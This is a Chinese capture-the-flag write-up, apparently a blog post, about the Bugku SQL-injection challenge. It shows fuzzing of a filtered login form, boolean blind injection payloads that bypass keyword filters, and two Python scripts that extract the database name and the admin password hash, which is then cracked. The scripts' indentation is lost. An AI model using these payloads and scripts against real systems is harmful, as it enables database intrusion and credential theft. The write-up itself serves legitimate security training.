当前位置:网站首页>Bugku sql注入
Bugku sql注入
2022-07-30 23:17:00 【白塔河冲浪手】
进入环境是个登录页面

提示这题布尔盲注,先fuzz一波


过滤了length,like,information,and,union,select,order,where等等
用括号绕过空格,我们发现能用的字符有<>,or,'
先万能密码试试看,<>是不等于的意思
'or(1<>2)#

'or(1<>1)#

可以确定这里有布尔盲注
那么开始注入 参考博客
'or(length(database())>7)# 回显password error!
'or(length(database())>8)# 回显username does not exist!
说明数据库长度为7
后面爆数据库
利用reverse和from
a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>98)#最后利用脚本爆出数据库
import requests
url='http://114.67.175.224:19015/index.php'
database=''
for i in range(1,9):
for p in range(45,126):
m=9-i
sql="a'or(ord(substr(reverse(substr((database())from(%d)))from(%d)))<>%s)#"%(i,m,p)
data={
'username':sql,
'password':'1'
}
res=requests.post(url=url,data=data)
if "username does not exist!" in res.text:
database+=chr(p)
print (database)
break
print ("==========================")
print("\n"+database)
得到数据库后面因为fuzz后发现过滤了太多字符,所以这里根据参考博客是用字典跑出数据表和字段,这里先跳过
得到数据表admin和字段名password后
爆破密码
password=''
for i in range(1,33):
for p in range(45,126):
m=33-i
sql="a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from(%d)))from(%d)))<>%s)#"%(i,m,p)
data={
'username':sql,
'password':'1'
}
res=requests.post(url=url,data=data)
if "username does not exist!" in res.text:
password+=chr(p)
print (password)
break
print ("==========================")
print("\n"+password)
解md5 4dcc88f8f1bc05e7c2ad1a60288481a2

得到密码bugctf
去登录 账号是admin

边栏推荐
- 反转链表-头插反转法
- MySQL索引常见面试题(2022版)
- Excel基础学习笔记
- 2021GDCPC Guangdong University Student Programming Competition H.History
- [SAM template question] P3975 [TJOI2015] string theory
- [0x800706D9] solution appears in Microsoft Store
- PyTorch model export to ONNX file example (LeNet-5)
- "Wei cup" school more than 2022 cattle summer camp 4 L.B lack Hole, computational geometry
- Apache Doris series: detailed steps for installation and deployment
- MySQL联合查询(多表查询)
猜你喜欢

【Untitled】

智能创意中的尺寸拓展模块

Apache Doris series: In-depth understanding of real-time analytical database Apache Doris

A detailed explanation: SRv6 Policy model, calculation and drainage

反转链表-头插反转法
![[MySQL] DQL related operations](/img/a5/c92e0404c6a970a62595bc7a3b68cd.gif)
[MySQL] DQL related operations

【飞控开发基础教程10】疯壳·开源编队无人机-PID 基础原理

mysql跨库关联查询(dblink)

阿里云视频点播+项目实战

【LeetCode】70. 爬楼梯 - Go 语言题解
随机推荐
Flex布局使用
[MySQL] Related operations on databases and tables in MySQL
"NIO Cup" 2022 Nioke Summer Multi-School Training Camp 4 DHKLN
“蔚来杯“2022牛客暑期多校训练营4 DHKLN
$\text{ARC 145}$
PyTorch模型导出到ONNX文件示例(LeNet-5)
2022.7.28
Alibaba Cloud video on demand + project combat
2022 Nioke Summer Multi-School Training Camp 1 J Serval and Essay
【Untitled】
数据清洗-使用es的ingest
实验8(vlan实验)
proemthues 服务发现配置
The difference between ?? and ??= and ?. and || in JS
[MySQL] Mysql transaction and authority management
【LeetCode】64. 最小路径和 - Go 语言题解
Go的Gin框架学习
Golang go-redis cluster模式下不断创建新连接,效率下降问题解决
leetcode:127. 单词接龙
Gxlcms audio novel system/novel listening system source code